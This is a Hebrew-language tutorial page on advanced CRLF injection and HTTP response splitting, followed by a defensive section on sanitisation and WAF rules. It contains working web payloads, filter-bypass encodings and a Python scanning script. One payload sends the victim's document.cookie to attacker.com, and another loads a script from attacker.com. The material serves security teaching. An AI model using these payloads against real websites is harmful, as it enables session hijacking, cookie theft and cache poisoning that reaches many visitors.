תקיפות CRLF מתקדמות - Advanced CRLF Attacks¶
מבוא¶
הInjection CRLF (Carriage Return Line Feed) היא טכניקת תקיפה שבה התוקף מזריק את התווים \r\n לתוך headers HTTP, עוגיות, או הפניות. ברמה הבסיסית, CRLF מאפשרת injection headers. ברמה המתקדמת, היא מובילה לפיצול תגובות (Response Splitting), poisoning cache, ושרשרת תקיפות מורכבת.
רקע - מבנה תגובת HTTP¶
תגובת HTTP מורכבת משורת סטטוס, headers, שורה ריקה וגוף:
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Set-Cookie: session=abc123\r\n
\r\n
<html>body</html>
כל שורה מסתיימת ב-\r\n. שורה ריקה (\r\n\r\n) מפרידה בין הheaders לגוף. הInjection \r\n מאפשרת שליטה במבנה זה.
הInjection CRLF בסיסית¶
הInjection בheader Location¶
GET /redirect?url=https://example.com%0d%0aSet-Cookie:%20admin=true HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: admin=true
ה-%0d%0a (encoding URL של \r\n) גורם לשבירת שורה בתגובה, והטקסט שאחריו מפורש כheader חדשה.
הInjection בheader Set-Cookie¶
GET /page HTTP/1.1
Host: vulnerable-website.com
Cookie: lang=en%0d%0aSet-Cookie:%20admin=true
HTTP/1.1 200 OK
Set-Cookie: lang=en
Set-Cookie: admin=true
פיצול תגובות - HTTP Response Splitting¶
העיקרון¶
אם נזריק \r\n\r\n (שורה ריקה), נוכל לסיים את הheaders ולהתחיל גוף תגובה חדש. עם עוד \r\n, נוכל ליצור תגובה שנייה שלמה:
GET /redirect?url=x%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script> HTTP/1.1
Host: vulnerable-website.com
התגובה מהשרת:
הלקוח (או ה-proxy) עלול לפרש זאת כשתי תגובות נפרדות.
פיצול מלא עם Content-Length¶
GET /redirect?url=x%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a<script>alert(1)</script> HTTP/1.1
התגובה:
HTTP/1.1 302 Found
Location: x
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 25
<script>alert(1)</script>
ה-Content-Length: 0 בתגובה הראשונה גורם ללקוח לסיים את קריאתה ולהתחיל לקרוא את התגובה השנייה.
פיצול תגובות לpoisoning cache¶
שילוב פיצול תגובות עם cache יכול להיות הרסני:
תקיפה צעד אחר צעד¶
Step 1: The attacker sends two requests over one connection:
Request 1: GET /redirect?url=<CRLF payload that creates a second response> HTTP/1.1
Request 2: GET /static/main.js HTTP/1.1
Step 2: The server returns:
Response 1: 302 Found + Location: x + Content-Length: 0
Response 2 (fake): 200 OK + <script>alert(1)</script>
Response 3 (real): 200 OK + main.js content
Step 3: The proxy/cache matches:
Request 1 -> Response 1 (302, correct)
Request 2 (GET /static/main.js) -> Response 2 (the fake one!)
Step 4: The cache stores:
/static/main.js -> <script>alert(1)</script>
כל מבקר שיטען /static/main.js יקבל את הסקריפט הזדוני.
HTTP/0.9 ופיצול תגובות¶
רקע על HTTP/0.9¶
פרוטוקול HTTP/0.9 הוא הגרסה הקדומה ביותר. בגרסה זו אין headers - התגובה היא רק גוף:
הExploit HTTP/0.9 לפיצול¶
חלק מהשרתים ו-proxies עדיין תומכים ב-HTTP/0.9. אם נצליח לגרום לשרת לענות ב-HTTP/0.9, התגובה לא תכלול headers, וכל התוכן יפורש כ-HTML:
אם השרת עונה ב-HTTP/0.9:
אין header Content-Type, אז הדפדפן עלול לפרש את זה כ-HTML.
CRLF בהקשרים שונים¶
הInjection בheaders תגובה¶
GET /api/user?name=John%0d%0aX-Custom-Header:%20injected HTTP/1.1
HTTP/1.1 200 OK
X-User-Name: John
X-Custom-Header: injected
הInjection בעוגיות¶
GET /set-lang?lang=en%0d%0aSet-Cookie:%20session=attacker_session%3b%20Path=/
HTTP/1.1 302 Found
Set-Cookie: lang=en
Set-Cookie: session=attacker_session; Path=/
זוהי תקיפת Session Fixation דרך CRLF.
הInjection בהפניות¶
GET /redirect?next=https://safe.com%0d%0a%0d%0a<html><body>Phishing</body></html>
HTTP/1.1 302 Found
Location: https://safe.com
<html><body>Phishing</body></html>
הגוף שאחרי השורה הריקה מוצג לקורבן אם הדפדפן לא עוקב אחרי ה-redirect.
שרשרות CRLF מתקדמות¶
CRLF לpoisoning cache (ללא פיצול)¶
GET /page?x=%0d%0aX-Forwarded-Host:%20attacker.com HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 OK
X-Forwarded-Host: attacker.com
...
<script src="https://attacker.com/script.js"></script>
הInjection header X-Forwarded-Host דרך CRLF, שמשפיעה על התגובה ומאפשרת poisoning cache.
CRLF ל-XSS דרך header Content-Type¶
GET /api?q=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
HTTP/1.1 200 OK
Content-Type: application/json
Content-Type: text/html
<script>alert(1)</script>
{"results": []}
הheader Content-Type כפולה - חלק מהדפדפנים ישתמשו בheader האחרונה (text/html) ויפרשו את הגוף כ-HTML.
CRLF ל-CORS Bypass¶
GET /api/data?x=%0d%0aAccess-Control-Allow-Origin:%20https://attacker.com HTTP/1.1
Origin: https://attacker.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
payloads מתקדמים¶
הEncodings שונים¶
Regular \r\n: %0d%0a
Double encoding: %250d%250a
Unicode encoding: %c4%8d%c4%8a
null + LF: %00%0a
CR only: %0d
LF only: %0a
Similar Unicode char: \u000d\u000a
הBypass סינון¶
# If %0d%0a is blocked, try:
%0d%20%0a # space between CR and LF
%0d%09%0a # tab between CR and LF
%0d%0a%20 # space after LF (line continuation)
%e5%98%8a%e5%98%8d # UTF-8 encoding of CR/LF
payload מלא לפיצול תגובות עם XSS¶
/redirect?url=x%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2062%0d%0a%0d%0a%3cscript%3edocument.location='https://attacker.com/?c='+document.cookie%3c/script%3e
בלבול פרוטוקולים ב-CRLF¶
בלבול דפדפן ספציפי¶
דפדפנים שונים מפרשים תגובות HTTP בצורות שונות:
Chrome: strict about Content-Length, ignores HTTP/0.9 responses in most cases
Firefox: a bit more lenient with an inaccurate Content-Length
Safari: unique behavior with charset parsing
# payload specific to Firefox
%0d%0aContent-Type:%20text/html;%20charset=UTF-7%0d%0a%0d%0a+ADw-script+AD4-alert(1)+ADw-/script+AD4-
בלבול עם WebSocket¶
GET /chat HTTP/1.1
Host: vulnerable-website.com
Upgrade: websocket%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert(1)</script>
Connection: Upgrade
סקריפט לבדיקת CRLF¶
#!/usr/bin/env python3
"""
Script for testing CRLF injection
"""
import requests
import urllib.parse
def test_crlf_injection(base_url, param_name):
"""Test CRLF injection in a parameter"""
payloads = [
# Basic
("%0d%0aInjected-Header: test", "CRLF basic"),
# Double encoding
("%250d%250aInjected-Header: test", "Double encoded"),
# LF only
("%0aInjected-Header: test", "LF only"),
# CR only
("%0dInjected-Header: test", "CR only"),
# Unicode
("%c4%8d%c4%8aInjected-Header: test", "Unicode CRLF"),
# null + LF
("%00%0aInjected-Header: test", "Null + LF"),
]
results = []
for payload, description in payloads:
url = f"{base_url}?{param_name}=value{payload}"
try:
resp = requests.get(url, allow_redirects=False)
if 'Injected-Header' in str(resp.headers):
results.append((description, "vulnerable", url))
print(f"[+] {description}: vulnerable!")
elif 'injected-header' in resp.text.lower():
results.append((description, "possible", url))
print(f"[?] {description}: possibly vulnerable (appears in body)")
else:
print(f"[-] {description}: not vulnerable")
except Exception as e:
print(f"[!] {description}: error - {e}")
return results
def test_response_splitting(base_url, param_name):
"""Test response splitting"""
# payload that tries to create a second response
payload = (
"x%0d%0aContent-Length:%200%0d%0a"
"%0d%0a"
"HTTP/1.1%20200%20OK%0d%0a"
"Content-Type:%20text/html%0d%0a"
"Content-Length:%2013%0d%0a"
"%0d%0a"
"SPLIT-SUCCESS"
)
url = f"{base_url}?{param_name}={payload}"
try:
resp = requests.get(url, allow_redirects=False)
if 'SPLIT-SUCCESS' in resp.text:
print("[+] Response splitting: vulnerable!")
return True
else:
print("[-] Response splitting: not vulnerable")
return False
except Exception as e:
print(f"[!] Error: {e}")
return False
if __name__ == "__main__":
import sys
if len(sys.argv) < 3:
print("Usage: python3 crlf_test.py <url> <param>")
print("Example: python3 crlf_test.py https://target.com/redirect url")
sys.exit(1)
base_url = sys.argv[1]
param = sys.argv[2]
print(f"[*] Testing CRLF on {base_url}, parameter: {param}")
print("=" * 50)
print("\n[*] Testing header injection:")
test_crlf_injection(base_url, param)
print("\n[*] Testing response splitting:")
test_response_splitting(base_url, param)
הגנה¶
1. סינון CRLF בקלט¶
import re
def sanitize_header_value(value):
"""Remove CRLF characters from a header value"""
# Remove CR, LF and any control character
return re.sub(r'[\r\n\x00-\x1f]', '', value)
def safe_redirect(url):
"""Safe redirect - CRLF sanitization"""
clean_url = sanitize_header_value(url)
# Also validate the URL
if not clean_url.startswith(('http://', 'https://')):
clean_url = '/'
return redirect(clean_url)
2. שימוש ב-API בטוח¶
# Flask - response.headers automatically filters CRLF
from flask import make_response, redirect
@app.route('/redirect')
def safe_redirect():
url = request.args.get('url', '/')
# Flask automatically filters CRLF in headers
return redirect(url)
// Node.js/Express - newer versions block CRLF
res.setHeader('Location', userInput);
// Express 4.x+ throws an error if userInput contains \r\n
3. הגדרות שרת¶
# nginx - filters headers with control characters
# nginx filters CRLF in proxy_set_header headers by default
4. WAF¶
- Set up a WAF rule that blocks %0d, %0a, %0D, %0A in every parameter
- Also include double encoding: %250d, %250a
- And also Unicode encoding
סיכום¶
תקיפות CRLF מתקדמות חורגות הרבה מעבר לinjection header פשוטה. פיצול תגובות מאפשר יצירת תגובות שלמות, poisoning cache ו-XSS. נקודות מפתח:
- הInjection
\r\nמאפשרת הוספת headers, וinjection\r\n\r\nמאפשרת פיצול תגובות - פיצול תגובות בשילוב עם cache מאפשר תקיפה המונית
- הEncodings שונים (כפול, Unicode, חלקי) עוקפים סינון בסיסי
- רוב הפריימוורקים המודרניים מגנים מפני CRLF, אבל שרתים ישנים ו-proxies עלולים להיות פגיעים